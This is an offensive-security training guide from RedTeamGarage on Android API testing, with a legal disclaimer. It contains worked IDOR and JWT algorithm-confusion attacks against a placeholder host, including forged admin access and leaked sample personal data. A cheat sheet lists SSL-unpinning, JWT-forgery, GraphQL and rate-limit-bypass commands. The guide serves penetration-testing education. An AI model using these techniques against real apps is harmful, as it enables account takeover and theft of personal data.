



◆ OFFENSIVE SECURITY SERIES ◆

ANDROID NETWORK & API TESTING

HTTPS Interception, IDOR, JWT, OAuth & TLS Analysis

Burp Suite · SSL Unpin · IDOR · JWT · OAuth PKCE · GraphQL · TLS

IDOR

JWT Attack

OAuth PKCE

SSL Unpin

TLS Check

GraphQL

Rate Limit

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

ANDROID NETWORK & API TESTING — HTTPS Interception, IDOR, JWT, OAuth & TLS Analysis

01.	IDOR + JWT ALGORITHM CONFUSION
02.	OAUTH PKCE + CERT PINNING + TLS
03.	ANDROID NETWORK CHEAT SHEET



01 — IDOR & JWT

Object Access + Alg Confusion

```

IDOR + JWT Algorithm Confusion Attack

# Capture intercepted API traffic – check for IDOR
# In Burp: GET /api/v1/users/1001/account intercepted
GET /api/v1/users/1001/account HTTP/1.1
Host: api.target.com
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9... (user 1001 token)

# Test IDOR – change user ID to 1002
(kali)-[~]
kali $ curl https://api.target.com/api/v1/users/1002/account -H "Authorization: Bearer USER_1001_TOKEN"
HTTP/1.1 200 OK
{"userId":1002,"username":"victim_user","accountNumber":"ACC-87654321","balance":8942.00,"ssn":"987-65-4321","dob":"1985-03-15"}
# IDOR confirmed – accessed another user's full account details!

# Test JWT algorithm confusion – change RS256 to HS256
(kali)-[~]
kali $ python3 jwt_tool.py eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJlc2VyXzEwMDEiLCJyb2xlijoicXNlciJ9.SIG -X a
File loaded: /usr/share/jwt_tool/jwks.json
jwttool_9a5ba575 - HMAC Key: (empty)
[Attempting algorithm confusion attack with RS256 public key as HMAC secret]
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJlc2VyXzEwMDEiLCJyb2xlijoicXNlciJ9.HMAC_SIG
(kali)-[~]
kali $ curl https://api.target.com/api/v1/admin/users -H "Authorization: Bearer MODIFIED_JWT"
HTTP/1.1 200 OK
[{"id":1,"username":"admin","role":"admin"}, {"id":2,"username":"john.doe","role":"user"}]
```

Figure: IDOR exposes victim account + SSN, JWT alg confusion promotes role to admin

PKCE Bypass & TLS Audit

Figure: PKCE not enforced, all SSL pinning methods bypassed, TLS 1.0/1.1 still enabled



03 — CHEAT SHEET

Quick Reference

Set proxy ADB	<code>adb shell settings put global http_proxy ATTACKER_IP:8080</code>
Clear proxy	<code>adb shell settings put global http_proxy :0</code>
SSL unpin (objection)	<code>android sslpinning disable</code>
SSL unpin (frida)	<code>frida -U -f com.pkg -l ssl_unpin.js --no-pause</code>
SSL unpin (codeshare)	<code>frida -U -f com.pkg --codeshare akabe1/frida-multiple-unpinning</code>
Decode JWT	<code>echo "PAYLOAD" base64 -d python3 -m json.tool</code>
JWT none attack	<code>jwt_tool TOKEN -X n (change alg to none)</code>
JWT alg confusion	<code>jwt_tool TOKEN -X a (RS256 → HS256 with public key)</code>
IDOR test	Change user ID in URL/body – access another user's data
Mass assignment	POST extra fields: role, isAdmin, balance, verified
PKCE test	Exchange auth code without code_verifier – should fail
Rate limit test	Burp Intruder → null payload → 100 requests → check if blocked
TLS check	<code>sslscan api.target.com:443</code>
Check NSC	<code>cat decompiled/res/xml/network_security_config.xml</code>
GraphQL introspect	<code>{"query":"{__schema{types{name fields{name}}}}}"}</code>
GraphQL batching	Send array of mutations to bypass rate limit



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.